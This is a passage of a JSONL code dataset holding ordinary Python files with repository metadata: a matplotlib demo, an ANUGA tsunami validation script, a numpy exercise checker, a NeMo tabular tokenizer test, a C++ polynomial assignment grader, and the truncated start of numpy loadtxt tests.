"max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "part_of_speech_tagging/pos_tagging.py", "max_forks_repo_name": "junyaogz/pp4nlp", "max_forks_repo_head_hexsha": "9f403352dcce1874d32ba775a02cbacda0904966", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.5133779264, "max_line_length": 104, "alphanum_fraction": 0.6229906114, "include": true, "reason": "import numpy", "num_tokens": 5233, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4225046348141882, "lm_q2_score": 0.1755380649971796, "lm_q1q2_score": 0.0741656460476226}}
{"text": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\n__author__ = 'qiudebo'\r\n\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\nif __name__ == '__main__':\r\n    plt.figure()\r\n    plt.grid(True)\r\n\r\n    data = np.linspace(1, 10, 50)\r\n    plt.plot(data)\r\n\r\n\r\n\r\n    plt.show()\r\n", "meta": {"hexsha": "9e90b6cf218b57fdd795b0fb045e9ec4fb894fa3", "size": 281, "ext": "py", "lang": "Python", "max_stars_repo_path": "code/matplotlib/test/2d-chart.py", "max_stars_repo_name": "qiudebo/13learn", "max_stars_repo_head_hexsha": "32b6ab0c6f6abd5873e3445b31a86f602520d473", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-03-07T09:02:27.000Z", "max_stars_repo_stars_event_max_datetime": "2019-03-07T09:02:27.000Z", "max_issues_repo_path": "code/matplotlib/test/2d-chart.py", "max_issues_repo_name": "qiudebo/13learn", "max_issues_repo_head_hexsha": "32b6ab0c6f6abd5873e3445b31a86f602520d473", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "code/matplotlib/test/2d-chart.py", "max_forks_repo_name": "qiudebo/13learn", "max_forks_repo_head_hexsha": "32b6ab0c6f6abd5873e3445b31a86f602520d473", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 14.7894736842, "max_line_length": 37, "alphanum_fraction": 0.5800711744, "include": true, "reason": "import numpy", "num_tokens": 77, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.15817435671676675, "lm_q1q2_score": 0.07415065580145609}}
{"text": "\"\"\"Verify that simulation produced by ANUGA compares to published\nvalidation timeseries ch5, ch7 and ch9 as well as the boundary timeseries.\n\nRMS norm is printed and plots are produced as png files.\nNo plots are shown on screen.\n\"\"\"\n\nimport sys\n\nimport numpy as num\nimport anuga\nfrom anuga.file.netcdf import NetCDFFile\n\nimport project\nfrom anuga.abstract_2d_finite_volumes.util import file_function\nfrom anuga.utilities.numerical_tools import ensure_numeric\nfrom anuga.utilities.numerical_tools import cov\n#from anuga.utilities.numerical_tools import get_machine_precision\nfrom anuga.shallow_water.sww_interrogate import get_maximum_inundation_elevation\nfrom anuga.shallow_water.sww_interrogate import get_maximum_inundation_location\n\n\nargs = anuga.get_args()\nverbose = args.verbose\n\n\ntesting = True\n\n#-------------------------\n# Basic data\n#-------------------------\n\nfinaltime = 22.5\ntimestep = 0.05\n\ngauge_locations = [[0.000, 1.696]] # Boundary gauge\ngauge_locations += [[4.521, 1.196],  [4.521, 1.696],  [4.521, 2.196]] #Ch 5-7-9\ngauge_names = ['Boundary', 'ch5', 'ch7', 'ch9']\n\nvalidation_data = {}\nfor key in gauge_names:\n    validation_data[key] = []\n\n\n# Expected values\nexpected_covariance = {'Boundary': 5.269569575007607815e-05, \n                       'ch5': 1.166277999581819919e-04,\n                       'ch7': 1.127136457890861503e-04,\n                       'ch9': 1.250659477418482129e-04}\n\nexpected_difference = {'Boundary': 8.350712673810733924e-04,\n                       'ch5': 3.405426180525532483e-03,\n                       'ch7': 2.852870417368218517e-03,\n                       'ch9': 3.248778982037564891e-03}\n\nexpected_maximum = {'Boundary': 1.611749508386188523e-02,  \n                    'ch5': 3.551308418158714147e-02,\n                    'ch7': 3.858418457126511908e-02,\n                    'ch9': 4.317962986578308127e-02}\n\nexpected_minimum = {'Boundary': -1.164547474575844919e-02, \n                    'ch5': -8.664439185502026408e-03,\n                    'ch7': -2.726335488279797541e-03,\n                    'ch9': -5.977581218447349659e-03}\n\nexpected_argmax = {'Boundary': 1.255000000000000071e+01, \n                   'ch5': 1.839999999999999858e+01,\n                   'ch7': 1.700000000000000000e+01,\n                   'ch9': 1.685000000000000142e+01}\n\nexpected_argmin = {'Boundary': 2.064999999999999858e+01, \n                   'ch5': 1.459999999999999964e+01,\n                   'ch7': 1.230000000000000071e+01,\n                   'ch9': 1.315000000000000036e+01}\n\n#-------------------------\n# Read validation data\n#-------------------------\n\nif verbose: print('Reading', project.boundary_filename)\n\nfid = NetCDFFile(project.boundary_filename, 'r')\ninput_time = fid.variables['time'][:]\nvalidation_data['Boundary'] = fid.variables['stage'][:]\n\nreference_time = []\nfid = open(project.validation_filename)\nlines = fid.readlines()\nfid.close()\n\nfor i, line in enumerate(lines[1:]):\n    if i == len(input_time): break\n    \n    fields = line.split()\n\n    reference_time.append(float(fields[0]))    # Record reference time\n    for j, key in enumerate(gauge_names[1:]):  # Omit boundary gauge\n        value = float(fields[1:][j])           # Omit time \n        validation_data[key].append(value/100) # Convert cm2m\n\n\n# Checks\nassert reference_time[0] == 0.0\nassert reference_time[-1] == finaltime\nassert num.allclose(reference_time, input_time)\n\nfor key in gauge_names:\n    validation_data[key] = ensure_numeric(validation_data[key])\n\n#--------------------------------------------------\n# Read and interpolate model output\n#--------------------------------------------------\n\n#if len(sys.argv) > 1:\n#    sww_filename = sys.argv[1]\n#else:\nsww_filename = project.output_filename\n    \nf = file_function(sww_filename,\n                  quantities='stage',\n                  interpolation_points=gauge_locations,\n                  use_cache=False,\n                  verbose=verbose)\n\n\ndef report_difference(name, computed_value, reference_value, rtol, atol):\n\n    if abs(reference_value) > 0:\n        msg = '%s (expected, computed):\\n  (%.18e, %.18e):\\n  Relative error=%.18e'\\\n              %(name, reference_value, computed_value,\n                abs(reference_value-computed_value)/reference_value)\n        print(msg)\n        \n\n    msg = '  Absolute error=%.18e'\\\n          %(abs(reference_value-computed_value))        \n    print(msg)\n\n    \n    #print 'Allclose:', allclose(reference_value, computed_value,\n    #                            rtol=rtol, atol=atol)\n    if testing is True:\n        assert num.allclose(reference_value, computed_value,\n                            rtol=rtol, atol=atol), msg\n    \n\n\n#--------------------------------------------------\n# Compare model output to validation data\n#--------------------------------------------------\n\n\n#eps = get_machine_precision()\n\n# Tolerances  for 20,000 triangles\nrtol = 2.0e-2\natol = 2.0e-2\n\n# Tolerances  for 60,000 triangles\n#rtol = 1.0e-2\n#atol = 1.0e-2\n\nif verbose: print('Precisions used: rtol=%e, atol=%e' %(rtol, atol))\n\n\n#print reference_time\nfor k, name in enumerate(gauge_names):\n\n    sqsum = 0\n    denom = 0\n    model = []\n    if verbose: \n        print() \n        print('Validating ' + name)\n    observed_timeseries = validation_data[name]\n    for i, t in enumerate(reference_time):\n        model.append(f(t, point_id=k)[0])\n\n    # Covariance measure    \n    res = cov(observed_timeseries, model)\n    if verbose:\n        report_difference('Covariance', res, expected_covariance[name], rtol, atol)\n     \n    # Difference measures    \n    res = sum(abs(observed_timeseries-model))/len(model)\n    if verbose:\n        report_difference('Accumulated difference', res,\n                      expected_difference[name], rtol, atol)    \n\n    # Extrema\n    res = max(model)\n    if verbose:\n        report_difference('Maximum', res, expected_maximum[name], rtol, atol)\n    \n    res = min(model)\n    if verbose:\n        report_difference('Minimum', res, expected_minimum[name], rtol, atol)    \n\n    # Locations of extrema\n    #i0 = argmax(observed_timeseries)\n    i1 = num.argmax(model)\n    res = reference_time[i1]\n    if verbose:\n        report_difference('Location of maximum', res, expected_argmax[name], rtol, atol)    \n    \n\n    if not name in ['ch7', 'ch9']:\n        # Minima of ch7 and ch9 are very flat and hard to pinpoint\n        i1 = num.argmin(model)\n        res = reference_time[i1]\n        if verbose:\n            report_difference('Location of minimum', res, expected_argmin[name],\n                          rtol, atol)        \n\n\n# Check max runup\n\nq = get_maximum_inundation_elevation(sww_filename)\nloc = get_maximum_inundation_location(sww_filename)\n\nif verbose:\n    print('Max runup elevation: ', q)\n    print('Max runup elevation (scaled by 400): ', q*400)\n    print('Max runup location:  ', loc)\n\n\n", "meta": {"hexsha": "3145f2ba43a2f3be53e4c4edd83383386a5e607c", "size": 6820, "ext": "py", "lang": "Python", "max_stars_repo_path": "validation_tests/experimental_data/okushiri/test_results.py", "max_stars_repo_name": "samcom12/anuga_core", "max_stars_repo_head_hexsha": "f4378114dbf02d666fe6423de45798add5c42806", "max_stars_repo_licenses": ["Python-2.0", "OLDAP-2.7"], "max_stars_count": 136, "max_stars_repo_stars_event_min_datetime": "2015-05-07T05:47:43.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-16T03:07:40.000Z", "max_issues_repo_path": "validation_tests/experimental_data/okushiri/test_results.py", "max_issues_repo_name": "samcom12/anuga_core", "max_issues_repo_head_hexsha": "f4378114dbf02d666fe6423de45798add5c42806", "max_issues_repo_licenses": ["Python-2.0", "OLDAP-2.7"], "max_issues_count": 184, "max_issues_repo_issues_event_min_datetime": "2015-05-03T09:27:54.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-20T04:22:48.000Z", "max_forks_repo_path": "validation_tests/experimental_data/okushiri/test_results.py", "max_forks_repo_name": "samcom12/anuga_core", "max_forks_repo_head_hexsha": "f4378114dbf02d666fe6423de45798add5c42806", "max_forks_repo_licenses": ["Python-2.0", "OLDAP-2.7"], "max_forks_count": 70, "max_forks_repo_forks_event_min_datetime": "2015-03-18T07:35:22.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-01T07:07:29.000Z", "avg_line_length": 30.0440528634, "max_line_length": 92, "alphanum_fraction": 0.6134897361, "include": true, "reason": "import numpy", "num_tokens": 1783, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.14804719427274568, "lm_q1q2_score": 0.07402359713637284}}
{"text": "def test():\n    import inspect\n    import numpy as np\n    # Here we can either check objects created in the solution code, or the\n    # string value of the solution, available as __solution__. A helper for\n    # printing formatted messages is available as __msg__. See the testTemplate\n    # in the meta.json for details.\n\n    # If an assertion fails, the message will be displayed\n    assert \"arr2\" in __solution__, \"Your object does not exist. Please make sure you are naming your object 'arr2'.\"\n    assert \"arr2t\" in __solution__, \"Your object does not exist. Please make sure you are naming your object 'arr2t'.\"\n    assert \"sliced_arr2t\" in __solution__, \"Your object does not exist. Please make sure you are naming your object 'sliced_arr2t'.\"\n    assert arr2.shape == (2, 3), \"The dimensions of your array are incorrect. Make sure you are creating a 2D array using the 'reshape()' function.\"\n    assert arr2t.shape == (3, 2), \"The dimensions of the transposed array are incorrect. Make sure you are transposing the array properly.\"\n    assert sliced_arr2t.shape == (3,), \"The dimensions of the sliced array are incorrect. Make sure you are only slicing the required values.\"\n    assert sum(sliced_arr2t) == 39.0, \"The the values in the sliced array are incorrect. Are you slicing properly?\"\n    __msg__.good(\"Nice work, well done!\")", "meta": {"hexsha": "a6a2285a9618fd4a2e7a875fd26ac136d0c4725c", "size": 1340, "ext": "py", "lang": "Python", "max_stars_repo_path": "exercises/en/test_08_10.py", "max_stars_repo_name": "Lavendulaa/programming-in-python-for-data-science", "max_stars_repo_head_hexsha": "bc41da8afacf4c180ae0ff9c6dc26a7e6292252f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-06-26T20:15:44.000Z", "max_stars_repo_stars_event_max_datetime": "2020-06-26T20:15:44.000Z", "max_issues_repo_path": "exercises/en/test_08_10.py", "max_issues_repo_name": "Lavendulaa/programming-in-python-for-data-science", "max_issues_repo_head_hexsha": "bc41da8afacf4c180ae0ff9c6dc26a7e6292252f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 20, "max_issues_repo_issues_event_min_datetime": "2020-06-15T23:05:20.000Z", "max_issues_repo_issues_event_max_datetime": "2020-09-01T22:07:45.000Z", "max_forks_repo_path": "exercises/en/test_08_10.py", "max_forks_repo_name": "UBC-MDS/MCL-programming-in-python", "max_forks_repo_head_hexsha": "22836d9013d3e3d1b1074678ba7dc3ee2e66f398", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-06-25T20:53:13.000Z", "max_forks_repo_forks_event_max_datetime": "2020-06-25T20:53:13.000Z", "avg_line_length": 78.8235294118, "max_line_length": 148, "alphanum_fraction": 0.7328358209, "include": true, "reason": "import numpy", "num_tokens": 329, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.15405755686555633, "lm_q1q2_score": 0.07402137126605277}}
{"text": "# Copyright (c) 2022, NVIDIA CORPORATION.  All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport string\n\nimport numpy as np\nimport pytest\n\nfrom nemo.collections.common.tokenizers.column_coder import ColumnCodes\nfrom nemo.collections.common.tokenizers.tabular_tokenizer import TabularTokenizer\n\n\nclass TestTabularTokenizer:\n    def setup_method(self, test_method):\n        column_configs = [\n            {\n                \"name\": \"col_a\",\n                \"code_type\": \"float\",\n                \"args\": {\"code_len\": 4, \"base\": 16, \"fillall\": False, \"hasnan\": True, \"transform\": 'yeo-johnson'},\n            },\n            {\n                \"name\": \"col_b\",\n                \"code_type\": \"float\",\n                \"args\": {\"code_len\": 4, \"base\": 177, \"fillall\": True, \"hasnan\": True, \"transform\": 'quantile'},\n            },\n            {\n                \"name\": \"col_c\",\n                \"code_type\": \"int\",\n                \"args\": {\"code_len\": 3, \"base\": 12, \"fillall\": True, \"hasnan\": True},\n            },\n            {\"name\": \"col_d\", \"code_type\": \"category\",},\n        ]\n\n        example_arrays = {}\n        np.random.seed(1234)\n\n        array = np.random.random(100)\n        example_arrays['col_a'] = array\n\n        array = np.random.random(100)\n        example_arrays['col_b'] = array\n\n        array = np.random.randint(3, 1000, 100)\n        example_arrays['col_c'] = array\n\n        ALPHABET = np.array(list(string.ascii_lowercase + ' '))\n        array = np.char.add(np.random.choice(ALPHABET, 1000), np.random.choice(ALPHABET, 1000))\n        example_arrays['col_d'] = array\n\n        self.cc = ColumnCodes.get_column_codes(column_configs, example_arrays)\n\n    @pytest.mark.unit\n    def test_tabular_tokenizer(self):\n        tab = TabularTokenizer(self.cc, delimiter=',')\n        text = \"0.323, 0.1, 232, xy\\n0.323, 0.1, 232, xy<|endoftext|>\"\n        r = tab.text_to_tokens(text)\n        assert len(r) == 10\n        assert tab.eod == 1351\n        assert tab.eor == 1352\n        assert tab.num_columns == 4\n        assert self.cc.vocab_size == 1351\n        assert tab.vocab_size == 1353\n        r = tab.text_to_ids(text)\n        assert (sum(self.cc.sizes) + 1) * 2 == len(r)\n        assert np.array_equal(\n            np.array(r[0:13]), np.array([49, 32, 29, 15, 584, 417, 305, 76, 787, 780, 773, 1313, 1352])\n        )\n        assert np.array_equal(\n            np.array(r[13:]), np.array([49, 32, 29, 15, 584, 417, 305, 76, 787, 780, 773, 1313, 1351])\n        )\n        reversed_text = tab.ids_to_text(r)\n        assert reversed_text == '0.3230,0.0999998,232,xy\\n0.3230,0.0999998,232,xy<|endoftext|>'\n\n        text = \"xy\\n0.323, 0.1, 232, xy<|endoftext|>\"\n        r = tab.text_to_tokens(text)\n        assert len(r) == 7\n        r = tab.text_to_ids(text)\n        assert sum(self.cc.sizes) + 1 + 2 == len(r)\n        assert np.array_equal(np.array(r[0:2]), np.array([1313, 1352]))\n        assert np.array_equal(\n            np.array(r[2:15]), np.array([49, 32, 29, 15, 584, 417, 305, 76, 787, 780, 773, 1313, 1351])\n        )\n        reversed_text = tab.ids_to_text(r)\n        assert reversed_text == 'xy\\n0.3230,0.0999998,232,xy<|endoftext|>'\n\n        text = \"\\n0.323, 0.1, 232, xy<|endoftext|>\"\n        r = tab.text_to_tokens(text)\n        assert len(r) == 5\n        r = tab.text_to_ids(text)\n        assert sum(self.cc.sizes) + 1 == len(r)\n        assert np.array_equal(\n            np.array(r[0:13]), np.array([49, 32, 29, 15, 584, 417, 305, 76, 787, 780, 773, 1313, 1351])\n        )\n        reversed_text = tab.ids_to_text(r)\n        assert reversed_text == '0.3230,0.0999998,232,xy<|endoftext|>'\n\n        text = \"232, xy\\n0.323, 0.1, 232, xy<|endoftext|>\"\n        r = tab.text_to_tokens(text)\n        assert len(r) == 8\n        r = tab.text_to_ids(text)\n        assert sum(self.cc.sizes) + 1 + 5 == len(r)\n        assert np.array_equal(np.array(r[0:5]), np.array([787, 780, 773, 1313, 1352]))\n        assert np.array_equal(\n            np.array(r[5:18]), np.array([49, 32, 29, 15, 584, 417, 305, 76, 787, 780, 773, 1313, 1351])\n        )\n        reversed_text = tab.ids_to_text(r)\n        assert reversed_text == '232,xy\\n0.3230,0.0999998,232,xy<|endoftext|>'\n\n        text = \"0.1, 232, xy\\n0.323, 0.1, 232, xy<|endoftext|>\"\n        r = tab.text_to_tokens(text)\n        assert len(r) == 9\n        r = tab.text_to_ids(text)\n        assert sum(self.cc.sizes) + 1 + 9 == len(r)\n        assert np.array_equal(np.array(r[0:9]), np.array([584, 417, 305, 76, 787, 780, 773, 1313, 1352]))\n        assert np.array_equal(\n            np.array(r[9:22]), np.array([49, 32, 29, 15, 584, 417, 305, 76, 787, 780, 773, 1313, 1351])\n        )\n        reversed_text = tab.ids_to_text(r)\n        assert reversed_text == '0.0999998,232,xy\\n0.3230,0.0999998,232,xy<|endoftext|>'\n", "meta": {"hexsha": "86004de1fb2ce05b17bab370ca731fc7e9ed7888", "size": 5283, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/collections/nlp/test_tabular_tokenizer.py", "max_stars_repo_name": "hamjam/NeMo", "max_stars_repo_head_hexsha": "b3484d32e1317666151f931bfa39867d88ed8658", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/collections/nlp/test_tabular_tokenizer.py", "max_issues_repo_name": "hamjam/NeMo", "max_issues_repo_head_hexsha": "b3484d32e1317666151f931bfa39867d88ed8658", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-03-06T14:09:02.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-06T14:09:02.000Z", "max_forks_repo_path": "tests/collections/nlp/test_tabular_tokenizer.py", "max_forks_repo_name": "hamjam/NeMo", "max_forks_repo_head_hexsha": "b3484d32e1317666151f931bfa39867d88ed8658", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.0227272727, "max_line_length": 114, "alphanum_fraction": 0.5782699224, "include": true, "reason": "import numpy", "num_tokens": 1656, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.34864513533394575, "lm_q2_score": 0.21206879937726764, "lm_q1q2_score": 0.07393675525899486}}
{"text": "import ec602lib\nimport unittest\nimport random\nimport subprocess\nimport os\nimport numpy as np\n\nprogname = \"polyops.cpp\"\n\nvalid_includes = set(['vector'])\n\nTIMEALLOWED = 1\nCOMPILEALLOWED = 2\n\nP={\"stdout\":subprocess.PIPE,\"timeout\":TIMEALLOWED,\"stderr\":subprocess.PIPE}\n\nCP={\"stdout\":subprocess.PIPE,\"timeout\":COMPILEALLOWED,\"stderr\":subprocess.PIPE}\n\nrefcode={'lines':29,'words':130}\n\ncppmain=\"\"\"\n#include <iostream>\n#include <vector>\n\nusing namespace std;\n\n#include \"PROGNAME\"\n\nint main()\n{ \n\n  int Alen,Blen;\n\n  cin >> Alen >> Blen;\n\n  Poly A(Alen,0),B(Blen,0);\n\n  for (auto& e : A)\n     cin >> e;\n  \n  for (auto& e : B)\n     cin >> e;\n\n  for (auto e : add_poly(A,B))\n     cout << e << \" \";\n  cout << endl;\n\n\n  for (auto e : multiply_poly(A,B))\n     cout << e << \" \";\n  cout << endl;  \n\n}\"\"\"\n\nSame_Add_Tests=[\n[(1.2,0,5),(3,2,1),(4.2,2,6)],\n[(1,2,3),(4,5,6),(5,7,9)],\n[(0,0,4),(0,0,0.1),(0,0,4.1)],\n]\n\nDiff_Add_Tests=[\n[(1.2,0,0, 5),(3,2,1),(4.2,2,1,5)],\n[(1,6,3),(4,),(5,6,3)],\n[(0,0,0,0,5),(0,0,1,4),(0,0,1,4,5)],\n]\n\nSame_Mul_Tests=[\n[(1.2,0,5),(3,2,1),(3.6, 2.4, 16.2, 10, 5)],\n[(1,2,3),(4,5,6),(4, 13, 28, 27, 18)],\n[(0,0,4),(0,0,0.1),(0, 0, 0, 0, 0.4)],\n]\n\nDiff_Mul_Tests=[\n[(1.2,0,0, 5),(3,2,1),(3.6, 2.4, 1.2, 15, 10, 5)],\n[(1,6,3),(4,),(4, 24, 12)],\n[(1,1,-1),(1,1,1),(1, 2, 1, 0.0, -1)],\n[(0,0,0,0,5),(0,0,1,4),(0, 0, 0, 0, 0, 0, 5, 20)],\n]\n\nTricky_Add_Tests=[\n[(1,3,2),(1,6,-2),(2,9)],\n[(1,1,1),(-1,-1,-1),(0,) ],\n]\n\n\nTricky_Mul_Tests=[\n[(1,2,1,1,1,6),(0,),(0,) ],\n]\n\ndouble_add_tests=[\n[(1e-50,),(-0.99e-50,),(1e-52,)],\n[(1e300,2e300),(0,0,3e300),(1e300,2e300,3e300)],\n]\n\ndef fin(a,b):\n  \"format the input for polyops_example_main\"\n  astr = \" \".join(str(x) for x in a)\n  bstr = \" \".join(str(x) for x in b)\n  return \"{} {} {} {}\".format(len(a),len(b),astr,bstr).encode()\n\ndef fout(T):\n  \"extract the output for polyops_example_main\"\n  text = T.stdout.decode().splitlines()\n  addition = tuple(float(x) for x in text[0].strip().split())\n  multiply = tuple(float(x) for x in text[1].strip().split())\n  return addition,multiply\n\ndef compile(cpp,executable):\n  return ['g++','-std=c++14',cpp, '-o', executable]\n          \ndef check_add(self,a,b,aplusb):\n   with self.subTest(CASE=\" {} + {} = {}\".format(a,b,aplusb)):\n      T = subprocess.run([self.executable],input=fin(a,b),**P)\n      add_res,_ = fout(T)\n      #self.assertEqual(len(add_res),len(aplusb),\n      #     \"your addition: {}\\ncorrect answer: {}\\n\".format(add_res,aplusb))\n      if len(add_res) != len(aplusb) or not np.allclose(add_res,aplusb,atol=0):\n        self.fail(\"your addition: {}\\ncorrect answer: {}\\n\".format(add_res,aplusb))\n\n\ndef check_mult(self,a,b,atimesb):\n    with self.subTest(CASE=\" {} * {} = {}\".format(a,b,atimesb)):\n      T = subprocess.run([self.executable],input=fin(a,b),**P)\n      _,res = fout(T)\n      if len(res) != len(atimesb) or not np.allclose(res,atimesb,atol=0):\n        self.fail(\"your multiply: {}\\ncorrect answer: {}\\n\".format(res,atimesb))\n\n\nclass polyopsTestCase(unittest.TestCase):\n    @classmethod\n    def setUpClass(cls):\n        baseprogname = 'polyopsmain'+str(random.randint(1000,100000))\n        mainprogname = baseprogname+'.cpp'\n        with open(mainprogname,'w') as f:\n            f.write(cppmain.replace('PROGNAME',progname))\n\n        try:\n          C = subprocess.run(compile(mainprogname,baseprogname),**CP)\n        except Exception as e:\n          raise unittest.SkipTest(\"Compile failed.\\n\"+str(e))\n        finally:\n          os.remove(mainprogname)\n\n        if C.returncode:\n            raise unittest.SkipTest(\"Compile failed.\\n\"+str(C.stderr.decode()))\n\n        cls.executable = baseprogname\n\n    @classmethod\n    def tearDownClass(cls):\n       try:\n        os.remove(cls.executable)\n       except:\n        pass\n\n\n    def test_includes(self):\n        \"a. check the included libraries are allowed\"\n        f=open(progname)\n        file_contents=f.read()\n        f.close() \n        includes = ec602lib.get_includes(file_contents)\n        invalid_includes = includes - valid_includes\n        if invalid_includes:\n          self.fail('Invalid includes: {}'.format(\" \".join(x for x in invalid_includes)))\n\n\n    def test_add_same_size(self):\n       \"b. add same size vectors\"\n       for (a,b,res) in Same_Add_Tests:\n           check_add(self,a,b,res)\n\n\n    def test_add_different_size(self):\n       \"c. add different size vectors\"\n       for (a,b,res) in Diff_Add_Tests:\n           check_add(self,a,b,res)\n\n    def test_mult_same_size(self):\n       \"d. multiply same size vectors\"\n       for (a,b,res) in Same_Mul_Tests:\n           check_mult(self,a,b,res)\n\n    def test_mult_different_size(self):\n       \"e. multiply different size vectors\"\n       for (a,b,res) in Diff_Mul_Tests:\n           check_mult(self,a,b,res)\n\n    def test_add_tricky(self):\n       \"f. add vectors with result smaller\"\n       for (a,b,res) in Tricky_Add_Tests:\n           check_add(self,a,b,res)\n\n    def test_mult_tricky(self):\n       \"g. multiply vectors with result smaller\"\n       for (a,b,res) in Tricky_Mul_Tests:\n           check_mult(self,a,b,res)\n    def test_double_add(self):\n       \"h. vector double\"\n       for (a,b,res) in double_add_tests:\n             check_add(self,a,b,res)\n\nif __name__==\"__main__\":\n    _,results,_ = ec602lib.overallcpp(progname,polyopsTestCase,refcode,docompile=False,)\n    #unittest.main()\n    print(results)", "meta": {"hexsha": "42e62de8de7b0fcf65430f210110a5242352dfc8", "size": 5338, "ext": "py", "lang": "Python", "max_stars_repo_path": "assignment5/polyops_checker.py", "max_stars_repo_name": "guozhonghao1994/ec602", "max_stars_repo_head_hexsha": "e8f6b61e5cdad64e9fe943fc4f61d1fc9ad85f74", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2018-11-14T16:07:31.000Z", "max_stars_repo_stars_event_max_datetime": "2018-11-15T16:44:51.000Z", "max_issues_repo_path": "assignment5/polyops_checker.py", "max_issues_repo_name": "guozhonghao1994/BU_EC602_Assignment", "max_issues_repo_head_hexsha": "e8f6b61e5cdad64e9fe943fc4f61d1fc9ad85f74", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "assignment5/polyops_checker.py", "max_forks_repo_name": "guozhonghao1994/BU_EC602_Assignment", "max_forks_repo_head_hexsha": "e8f6b61e5cdad64e9fe943fc4f61d1fc9ad85f74", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.9126213592, "max_line_length": 89, "alphanum_fraction": 0.5959160734, "include": true, "reason": "import numpy", "num_tokens": 1737, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167941228965, "lm_q2_score": 0.16026604034940348, "lm_q1q2_score": 0.07388533612865276}}
{"text": "\"\"\"\nTests specific to `np.loadtxt` added during the move of loadtxt to be backed\nby C code.\nThese tests complement those found in `test_io.py`.\n\"\"\"\n\nimport sys\nimport pytest\nfrom tempfile import NamedTemporaryFile, mkstemp\nfrom io import StringIO\n\nimport numpy as np\nfrom numpy.ma.testutils import assert_equal\nfrom numpy.testing import assert_array_equal, HAS_REFCOUNT, IS_PYPY\n\n\ndef test_scientific_notation():\n    \"\"\"Test that both 'e' and 'E' are parsed correctly.\"\"\"\n    data = StringIO(\n        (\n            \"1.0e-1,2.0E1,3.0\\n\"\n            \"4.0e-2,5.0E-1,6.0\\n\"\n            \"7.0e-3,8.0E1,9.0\\n\"\n            \"0.0e-4,1.0E-1,2.0\"\n        )\n    )\n    expected = np.array(\n        [[0.1, 20., 3.0], [0.04, 0.5, 6], [0.007, 80., 9], [0, 0.1, 2]]\n    )\n    assert_array_equal(np.loadtxt(data, delimiter=\",\"), expected)\n\n\n@pytest.mark.parametrize(\"comment\", [\"..\", \"//\", \"@-\", \"this is a comment:\"])\ndef test_comment_multiple_chars(comment):\n    content = \"# IGNORE\\n1.5, 2.5# ABC\\n3.0,4.0# XXX\\n5.5,6.0\\n\"\n    txt = StringIO(content.replace(\"#\", comment))\n    a = np.loadtxt(txt, delimiter=\",\", comments=comment)\n    assert_equal(a, [[1.5, 2.5], [3.0, 4.0], [5.5, 6.0]])\n\n\n@pytest.fixture\ndef mixed_types_structured():\n    \"\"\"\n    Fixture providing hetergeneous input data with a structured dtype, along\n    with the associated structured array.\n    \"\"\"\n    data = StringIO(\n        (\n            \"1000;2.4;alpha;-34\\n\"\n            \"2000;3.1;beta;29\\n\"\n            \"3500;9.9;gamma;120\\n\"\n            \"4090;8.1;delta;0\\n\"\n            \"5001;4.4;epsilon;-99\\n\"\n            \"6543;7.8;omega;-1\\n\"\n        )\n    )\n    dtype = np.dtype(\n        [('f0', np.uint16), ('f1', np.float64), ('f2', 'S7'), ('f3', np.int8)]\n    )\n    expected = np.array(\n        [\n            (1000, 2.4, \"alpha\", -34),\n            (2000, 3.1, \"beta\", 29),\n            (3500, 9.9, \"gamma\", 120),\n            (4090, 